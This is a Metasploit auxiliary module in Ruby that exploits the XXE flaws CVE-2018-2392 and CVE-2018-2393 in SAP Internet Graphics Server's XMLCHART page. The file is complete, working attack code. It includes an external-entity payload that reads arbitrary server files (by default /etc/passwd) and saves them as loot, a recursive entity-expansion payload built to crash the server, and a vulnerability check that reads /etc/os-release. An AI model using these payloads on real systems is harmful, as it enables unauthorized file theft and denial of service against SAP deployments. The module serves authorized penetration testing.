397 lines
14 KiB
Ruby
397 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',
|
|
'Description' => %q{
|
|
This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page
|
|
of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These
|
|
vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when
|
|
submitting a POST request to the XMLCHART page to generate a new chart.
|
|
|
|
Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user
|
|
from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers
|
|
can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable
|
|
SAP IGS server.
|
|
},
|
|
'Author' => [
|
|
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
|
|
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2018-2392' ],
|
|
[ 'CVE', '2018-2393' ],
|
|
[ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]
|
|
],
|
|
'Actions' => [
|
|
[ 'READ', { 'Description' => 'Remote file read' } ],
|
|
[ 'DOS', { 'Description' => 'Denial Of Service' } ]
|
|
],
|
|
'DefaultAction' => 'READ',
|
|
'DefaultOptions' => {
|
|
'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)
|
|
},
|
|
'DisclosureDate' => '2018-03-14',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(40080),
|
|
OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),
|
|
OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def setup_xml_and_variables
|
|
@host = datastore['RHOSTS']
|
|
@port = datastore['RPORT']
|
|
@path = datastore['URIPATH']
|
|
@file = datastore['FILE']
|
|
if datastore['SSL']
|
|
@schema = 'https://'
|
|
else
|
|
@schema = 'http://'
|
|
end
|
|
@data_xml = {
|
|
name: Rex::Text.rand_text_alphanumeric(12),
|
|
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
|
|
data: nil
|
|
}
|
|
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
|
|
<ChartData>
|
|
<Categories>
|
|
<Category>ALttP</Category>
|
|
</Categories>
|
|
<Series label="#{Rex::Text.rand_text_alphanumeric(6)}">
|
|
<Point>
|
|
<Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>
|
|
</Point>
|
|
</Series>
|
|
</ChartData>)
|
|
@xxe_xml = {
|
|
name: Rex::Text.rand_text_alphanumeric(12),
|
|
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
|
|
data: nil
|
|
}
|
|
end
|
|
|
|
def make_xxe_xml(file_name)
|
|
entity = Rex::Text.rand_text_alpha(5)
|
|
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
|
|
<!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>
|
|
<SAPChartCustomizing version="1.1">
|
|
<Elements>
|
|
<ChartElements>
|
|
<Title>
|
|
<Extension>&#{entity};</Extension>
|
|
</Title>
|
|
</ChartElements>
|
|
</Elements>
|
|
</SAPChartCustomizing>)
|
|
end
|
|
|
|
def make_post_data(file_name, dos: false)
|
|
if !dos
|
|
make_xxe_xml(file_name)
|
|
else
|
|
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
|
|
<!DOCTYPE Extension [
|
|
<!ENTITY dos 'dos'>
|
|
<!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>
|
|
<!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>
|
|
<!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>
|
|
<!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>
|
|
<!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>
|
|
<!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>
|
|
<!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>
|
|
<!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>
|
|
]>
|
|
<SAPChartCustomizing version="1.1">
|
|
<Elements>
|
|
<ChartElements>
|
|
<Title>
|
|
<Extension>&dos8;</Extension>
|
|
</Title>
|
|
</ChartElements>
|
|
</Elements>
|
|
</SAPChartCustomizing>)
|
|
end
|
|
|
|
@post_data = Rex::MIME::Message.new
|
|
@post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")
|
|
@post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")
|
|
end
|
|
|
|
def get_download_link(html_response)
|
|
if html_response['ImageMap']
|
|
if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))
|
|
@download_link = download_link_regex[:link]
|
|
else
|
|
@download_link = nil
|
|
end
|
|
else
|
|
@download_link = nil
|
|
end
|
|
end
|
|
|
|
def get_file_content(html_response)
|
|
if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))
|
|
@file_content = file_content_regex[:file_content]
|
|
else
|
|
@file_content = nil
|
|
end
|
|
end
|
|
|
|
def send_first_request
|
|
# Send first HTTP request
|
|
begin
|
|
first_response = nil
|
|
first_response = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(@path),
|
|
'method' => 'POST',
|
|
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
|
|
'data' => @post_data.to_s
|
|
}
|
|
)
|
|
rescue StandardError => e
|
|
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
|
|
vprint_error("Error #{e.class}: #{e}")
|
|
return -1
|
|
end
|
|
|
|
# Check first HTTP response
|
|
if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)
|
|
return -2
|
|
end
|
|
|
|
if first_response.body.include?('Errors')
|
|
return -3
|
|
end
|
|
|
|
first_response
|
|
end
|
|
|
|
def analyze_first_response(html_response)
|
|
get_download_link(html_response)
|
|
if !@download_link.to_s.empty?
|
|
|
|
# Send second HTTP request
|
|
begin
|
|
second_response = nil
|
|
second_response = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(@download_link),
|
|
'method' => 'GET'
|
|
}
|
|
)
|
|
rescue StandardError => e
|
|
print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")
|
|
vprint_error("Error #{e.class}: #{e}")
|
|
return -1 # Some exception was thrown whilst making the second HTTP request!
|
|
end
|
|
|
|
# Check second HTTP response
|
|
if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')
|
|
return -2 # Response from second HTTP request was not what was expected!
|
|
end
|
|
|
|
get_file_content(second_response.body)
|
|
return 0
|
|
else
|
|
return -3 # Download link could not be found!
|
|
end
|
|
end
|
|
|
|
def check
|
|
# Set up variables
|
|
os_release = ''
|
|
os_release_file = '/etc/os-release'
|
|
|
|
# Set up XML data for HTTP request
|
|
setup_xml_and_variables
|
|
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
|
|
# so that the module can check if the target is vulnerable or not.
|
|
|
|
# Get OS release information
|
|
check_response = send_first_request
|
|
if check_response == -1
|
|
Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
|
|
elsif check_response == -2
|
|
Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')
|
|
else
|
|
if check_response == -3
|
|
vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")
|
|
else
|
|
result = analyze_first_response(check_response.body)
|
|
|
|
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
|
|
if result == -1 || result == -3
|
|
Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')
|
|
elsif result == -2
|
|
Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')
|
|
end
|
|
|
|
if !@file_content.to_s.empty?
|
|
if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))
|
|
os_release = "OS: #{os_regex[:os]}"
|
|
end
|
|
else
|
|
return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")
|
|
end
|
|
end
|
|
# Make ident
|
|
if os_release != ''
|
|
ident = "SAP Internet Graphics Server (IGS); #{os_release}"
|
|
else
|
|
ident = 'SAP Internet Graphics Server (IGS)'
|
|
end
|
|
# Report Service and Vulnerability
|
|
report_service(
|
|
host: @host,
|
|
port: @port,
|
|
name: 'http',
|
|
proto: 'tcp',
|
|
info: ident
|
|
)
|
|
report_vuln(
|
|
host: @host,
|
|
port: @port,
|
|
name: name,
|
|
refs: references,
|
|
info: os_release
|
|
)
|
|
# Print Vulnerability
|
|
if os_release == ''
|
|
Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
|
|
else
|
|
Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
|
|
end
|
|
end
|
|
end
|
|
|
|
def run
|
|
case action.name
|
|
when 'READ'
|
|
action_file_read
|
|
when 'DOS'
|
|
action_dos
|
|
else
|
|
print_error("The action #{action.name} is not a supported action.")
|
|
end
|
|
end
|
|
|
|
def action_file_read
|
|
# Set up XML data for HTTP request
|
|
setup_xml_and_variables
|
|
make_post_data(@file, dos: false)
|
|
|
|
# Download remote file
|
|
first_response = send_first_request
|
|
if first_response == -1
|
|
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
|
|
elsif first_response == -2
|
|
fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')
|
|
else
|
|
# Report Service and Vulnerability
|
|
report_service(
|
|
host: @host,
|
|
port: @port,
|
|
name: 'http',
|
|
proto: 'tcp',
|
|
info: 'SAP Internet Graphics Server (IGS)'
|
|
)
|
|
report_vuln(
|
|
host: @host,
|
|
port: @port,
|
|
name: name,
|
|
refs: references
|
|
)
|
|
# Get remote file content
|
|
if first_response == -3
|
|
print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")
|
|
else
|
|
result = analyze_first_response(first_response.body)
|
|
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
|
|
if result == -1
|
|
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')
|
|
elsif result == -2
|
|
print_error('The server responded successfully but the response indicated the server is not vulnerable!')
|
|
return
|
|
elsif result == -3
|
|
print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')
|
|
return
|
|
end
|
|
|
|
if !@file_content.to_s.empty?
|
|
vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")
|
|
loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')
|
|
print_good("File: #{@file} saved in: #{loot}")
|
|
else
|
|
print_error("Failed to get #{@file} content!")
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|
|
|
|
def action_dos
|
|
# Set up XML data for HTTP request
|
|
setup_xml_and_variables
|
|
make_post_data(@file, dos: true)
|
|
|
|
# Send HTTP request
|
|
begin
|
|
dos_response = nil
|
|
dos_response = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(@path),
|
|
'method' => 'POST',
|
|
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
|
|
'data' => @post_data.to_s
|
|
}, 10
|
|
)
|
|
rescue Timeout::Error
|
|
print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")
|
|
|
|
# Report Service and Vulnerability
|
|
report_service(
|
|
host: @host,
|
|
port: @port,
|
|
name: 'http',
|
|
proto: 'tcp',
|
|
info: 'SAP Internet Graphics Server (IGS)'
|
|
)
|
|
report_vuln(
|
|
host: @host,
|
|
port: @port,
|
|
name: name,
|
|
refs: references
|
|
)
|
|
rescue StandardError => e
|
|
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
|
|
vprint_error("Error #{e.class}: #{e}")
|
|
end
|
|
|
|
# Check HTTP response
|
|
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
|
|
end
|
|
|
|
end
|